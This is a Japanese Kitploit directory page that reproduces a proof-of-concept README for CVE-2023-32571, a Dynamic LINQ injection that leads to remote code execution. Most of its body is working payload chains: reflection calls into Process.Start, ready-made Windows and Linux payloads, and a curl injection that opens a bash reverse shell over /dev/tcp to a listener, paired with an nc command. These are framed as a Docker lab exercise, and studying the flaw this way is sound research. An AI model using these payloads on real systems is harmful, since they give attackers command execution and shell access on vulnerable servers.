Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2023-32571-POC | Kitploit
ツール/GitHubGitHub/tris0n/cve-2023-32571-poc
脆弱性分析コード分析エクスプロイトウェブアプリケーション悪用学習と教育ペイロード開発ラボと実践
GitHubtris0n/cve-2023-32571-poc

CVE-2023-32571-POC

リポジトリを見る
72年前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

Dynamic LinqインジェクションからRCEへ - CVE-2023-32571

Dynamic LinqインジェクションからRCE (CVE-2023-32571) について

最近、NCC GroupのメンバーがDynamic Linqの脆弱性を発見しました。これにより、攻撃者はLinQインジェクションを通じてC#関数を呼び出すことができ、RCEを獲得することが可能になります。

Dynamic Linqに関するRCE報告にもかかわらず、NCC Groupのメンバーは何らかの理由でコマンド実行用のPOCを公開していませんでした。

POC

NCC Groupの調査で述べられているように、我々は「Invoke」を使用してC#メソッドを呼び出すことができます。これにより、「System.Diagnostics.Process.Start」を呼び出し、サーバー上でコマンドを実行できます。

「CreateInstanceFromAndUnwrap」メソッドを使用して、アセンブリ経由でSystem.Diagnostics.Processを呼び出すことができます。

System.AppDomain.CreateInstanceAndUnwrap メソッドを使用するペイロード:

root@kitploit:~
"".GetType().Assembly.DefinedTypes.Where(it.Name == "AppDomain").First().DeclaredMethods.Where(it.Name == "CreateInstanceAndUnwrap").First()

CreateInstanceAndUnwrap メソッドを介して System.Diagnostics.Process を呼び出すペイロード:

root@kitploit:~
"".GetType().Assembly.DefinedTypes.Where(it.Name == "AppDomain").First().DeclaredMethods.Where(it.Name == "CreateInstanceAndUnwrap").First().Invoke("".GetType().Assembly.DefinedTypes.Where(it.Name == "AppDomain").First().DeclaredProperties.Where(it.name == "CurrentDomain").First().GetValue(null), "System, Version = 4.0.0.0, Culture = neutral, PublicKeyToken = b77a5c561934e089; System.Diagnostics.Process".Split(";".ToCharArray()))

System.Diagnostics.Process クラスのメソッドにアクセスすることで、System.Diagnostics.Process.Start メソッドを使用してシステム上でコマンドを実行できます:

root@kitploit:~
"".GetType().Assembly.DefinedTypes.Where(it.Name == "AppDomain").First().DeclaredMethods.Where(it.Name == "CreateInstanceAndUnwrap").First().Invoke("".GetType().Assembly.DefinedTypes.Where(it.Name == "AppDomain").First().DeclaredProperties.Where(it.name == "CurrentDomain").First().GetValue(null), "System, Version = 4.0.0.0, Culture = neutral, PublicKeyToken = b77a5c561934e089; System.Diagnostics.Process".Split(";".ToCharArray())).GetType().Assembly.DefinedTypes.Where(it.Name == "Process").First().DeclaredMethods.Where(it.name == "Start").Take(3).Last().Invoke(null, "cmd.exe;/c calc.exe".Split(";".ToCharArray()))

補足: ペイロードは最初の3つの Start メソッドを探し、最後のものを取得します。これは、System.Diagnostics.Process のメソッドリストに複数の Start メソッドがあり、必要なものがリストの3番目であるためです。

最終ペイロード

Windows ターゲット

root@kitploit:~
"".GetType().Assembly.DefinedTypes.Where(it.Name == "AppDomain").First().DeclaredMethods.Where(it.Name == "CreateInstanceAndUnwrap").First().Invoke("".GetType().Assembly.DefinedTypes.Where(it.Name == "AppDomain").First().DeclaredProperties.Where(it.name == "CurrentDomain").First().GetValue(null), "System, Version = 4.0.0.0, Culture = neutral, PublicKeyToken = b77a5c561934e089; System.Diagnostics.Process".Split(";".ToCharArray())).GetType().Assembly.DefinedTypes.Where(it.Name == "Process").First().DeclaredMethods.Where(it.name == "Start").Take(3).Last().Invoke(null, "cmd.exe;/c <command-here>".Split(";".ToCharArray()))

Linux ターゲット
root@kitploit:~
"".GetType().Assembly.DefinedTypes.Where(it.Name == "AppDomain").First().DeclaredMethods.Where(it.Name == "CreateInstanceAndUnwrap").First().Invoke("".GetType().Assembly.DefinedTypes.Where(it.Name == "AppDomain").First().DeclaredProperties.Where(it.name == "CurrentDomain").First().GetValue(null), "System, Version = 4.0.0.0, Culture = neutral, PublicKeyToken = b77a5c561934e089; System.Diagnostics.Process".Split(";".ToCharArray())).GetType().Assembly.DefinedTypes.Where(it.Name == "Process").First().DeclaredMethods.Where(it.name == "Start").Take(3).Last().Invoke(null, "bash;-c <command-here>".Split(";".ToCharArray()))

ラボを開始するには、以下の手順に従ってください

Dockerとdocker-composeをインストールします:

Debian

root@kitploit:~
sudo apt update -y && sudo apt install docker.io docker-compose -y

Arch Linux
root@kitploit:~
sudo pacman -Syu && sudo pacman -S docker docker-compose

このリポジトリをクローンします:

root@kitploit:~
git clone https://github.com/Tris0n/CVE-2023-32571-POC

リポジトリのディレクトリに移動します:
root@kitploit:~
cd CVE-2023-32571-POC

docker-composeを実行します:
root@kitploit:~
sudo docker-compose up --build

アプリケーションは http://localhost:8000/ で起動します。

ラボの解説

"/api/products" ルートにPOSTメソッドでアクセスすると、製品のリストが返されることがわかります:

root@kitploit:~
curl -X POST -H "Content-type: application/json" -H "Accept: application/json" -d '{}' http://localhost:8000/api/products

01 pn

JSONで name パラメータを送信することで、製品をフィルタリングできます:

root@kitploit:~
curl -X POST -H "Content-type: application/json" -H "Accept: application/json" -d '{"name": "nana"}' http://localhost:8000/api/products

02

いくつかのテストの後、Dynamic Linqクエリにインジェクションできることがわかりました。以下のペイロードを送信することで、リバースシェルを取得できました:

root@kitploit:~
curl -X POST -H "Content-type: application/json" -H "Accept: application/json" -d '{"name": "\") && \"\".GetType().Assembly.DefinedTypes.Where(it.Name == \"AppDomain\").First().DeclaredMethods.Where(it.Name == \"CreateInstanceAndUnwrap\").First().Invoke(\"\".GetType().Assembly.DefinedTypes.Where(it.Name == \"AppDomain\").First().DeclaredProperties.Where(it.name == \"CurrentDomain\").First().GetValue(null), \"System, Version = 4.0.0.0, Culture = neutral, PublicKeyToken = b77a5c561934e089; System.Diagnostics.Process\".Split(\";\".ToCharArray())).GetType().Assembly.DefinedTypes.Where(it.Name == \"Process\").First().DeclaredMethods.Where(it.name == \"Start\").Take(3).Last().Invoke(null, \"/bin/bash;-c \\\"bash -i >& /dev/tcp/172.17.0.1/8001 0>&1\\\"\".Split(\";\".ToCharArray())).GetType().ToString() == (\""}' http://localhost:8000/api/products

03

root@kitploit:~
nc -lvp 8001

04

参考文献

  • https://research.nccgroup.com/2023/06/13/dynamic-linq-injection-remote-code-execution-vulnerability-cve-2023-32571/
  • https://insinuator.net/2016/10/linq-injection-from-attacking-filters-to-code-execution/
  • https://github.com/advisories/GHSA-w65q-jcmv-28gj
ツールをダウンロード